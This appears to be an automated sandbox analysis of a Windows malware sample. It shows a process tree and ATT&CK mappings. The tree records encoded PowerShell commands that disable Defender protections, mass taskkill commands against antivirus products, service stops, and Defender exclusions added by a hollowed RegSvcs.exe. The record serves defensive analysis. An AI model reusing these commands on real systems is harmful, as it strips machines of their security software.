      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
    3⤵
    PID:5792
  - - C:\Windows\system32\sc.exe
      sc stop "KSecDD"
      4⤵
      Launches sc.exe
      PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
    3⤵
    PID:2400
  - - C:\Windows\system32\sc.exe
      sc stop "MRxSmb"
      4⤵
      Launches sc.exe
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:2832
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      PID:3780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:2620
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:4836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    PID:1680
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      PID:260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:3732
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:3824
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:5356
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      PID:3700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    PID:1488
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Kills process with taskkill
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:1012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      PID:1020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:5900
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:5176
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:5596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:2044
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3128
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:6052
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:3744
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      PID:6016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:2796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:5344
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      PID:3512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:3136
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      PID:4228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:1564
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:1508
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      PID:1144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:1908
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      PID:3424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:3400
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    PID:844
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4528
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:3536
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    PID:4816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      PID:6060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:1080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:4788
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      PID:3300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:5996
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      PID:4192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    PID:4124
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      Kills process with taskkill
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:4380
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:5232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    PID:3948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:2752
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:5596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:3568
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      PID:2168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:3524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:2468
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:1016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:5916
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:5668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    PID:2952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      PID:3060
- - C:\Users\Admin\AppData\Local\Temp\_temp_lxatpxug\program1.exe
    "C:\Users\Admin\AppData\Local\Temp\_temp_lxatpxug\program1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_lxatpxug\program2.exe"
    3⤵
    PID:2964
  - - C:\Users\Admin\AppData\Local\Temp\_temp_lxatpxug\program2.exe
      C:\Users\Admin\AppData\Local\Temp\_temp_lxatpxug\program2.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4628
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:3224
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1428
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:5944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry